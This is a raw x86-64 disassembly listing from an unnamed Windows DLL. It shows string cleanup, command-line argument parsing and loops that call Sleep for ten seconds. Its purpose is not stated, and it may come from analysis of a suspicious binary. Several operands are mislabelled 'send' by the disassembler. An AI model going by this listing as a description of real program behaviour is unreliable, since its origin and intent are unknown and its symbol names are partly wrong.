mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703a3
call fcn.1800bdc0c
mov eax, 5
lea r11, [rsp + 0x298]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8b, 1
mov edx, 0xffffffff
mov ecx, 0x1e240
call fcn.18006d3e0
mov ecx, 0xb0
call fcn.1800bdbd0
mov rbx, rax
mov qword [rbp + 0x1e8], rax
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x30]
call fcn.1800079d0
mov rdx, rax
mov rcx, rbx
call fcn.180046540
nop
mov rax, qword [0x180366bf0]
test rax, rax
jne 0x18006ff50
lea ecx, [rax + 0x30]
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r13d
mov qword [0x180366bf0], rax
cmp byte [rax + 0x28], 0
je 0x1800700bf
lea rcx, [rsp + 0x30]
call fcn.180070f00
nop
cmp qword [rsp + 0x40], 0
jne 0x18007009c
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18006ffae
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006ffa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703e5
call fcn.1800bdc0c
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x18006fffc
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006fff7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703eb
call fcn.1800bdc0c
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180070047
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180070042
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703f1
call fcn.1800bdc0c
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x180070092
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007008d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703f7
call fcn.1800bdc0c
mov eax, 0x58
jmp 0x18006fe9d
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1800079d0
mov rcx, rax
call fcn.1800377b0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800700b2
test r14, r14
je 0x1800703a9
movsxd rax, dword [rbp + 0x1e0]
cmp eax, 2
jle 0x1800703a9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov ecx, send
mov qword [rsp + 0x48], rcx
mov byte [rsp + 0x30], 0
mov edi, r13d
mov ebx, 1
cmp rbx, rax
jae 0x180070292
nop word [rax + rax]
mov rdx, qword [r14 + rbx*8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x180070130
lea rcx, [rsp + 0x60]
call fcn.180008da0
nop
lea rcx, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x78], 8
jb 0x180070163
mov rdx, qword [rsp + 0x60]
lea r8, [rdx + rax*2]
jmp 0x18007016c
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180008c60
nop
cmp rbx, 1
jne 0x18007019a
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.180026b30
jmp 0x1800701b5
cmp rbx, 2
jne 0x1800701b5
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
call fcn.1800d1310
mov edi, eax
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1800701f0
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800701eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703fd
call fcn.1800bdc0c
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180070242
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007023d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180070403
call fcn.1800bdc0c
inc rbx
movsxd rax, dword [rbp + 0x1e0]
cmp rbx, rax
jb 0x180070110
cmp edi, 0x32
jl 0x18007028d
cmp qword [rsp + 0x40], 0x3c
jb 0x18007028d
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1800079d0
mov rdx, rax
mov ecx, edi
call fcn.180037700
nop word [rax + rax]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180070280
mov rcx, qword [rsp + 0x48]
cmp rcx, 0x10
jb 0x1800702cc
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800702c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180070409
call fcn.1800bdc0c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x180070307
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180070302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007040f
call fcn.1800bdc0c
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180070352
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007034d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180070415
call fcn.1800bdc0c
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x180070399
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180070394
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703a3
call fcn.1800bdc0c
mov eax, 1
jmp 0x18006fe9d
call fcn.1800c9ad0
nop
call fcn.180060600
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
int3
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
int3
call fcn.1800c9ad0
int3
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
int3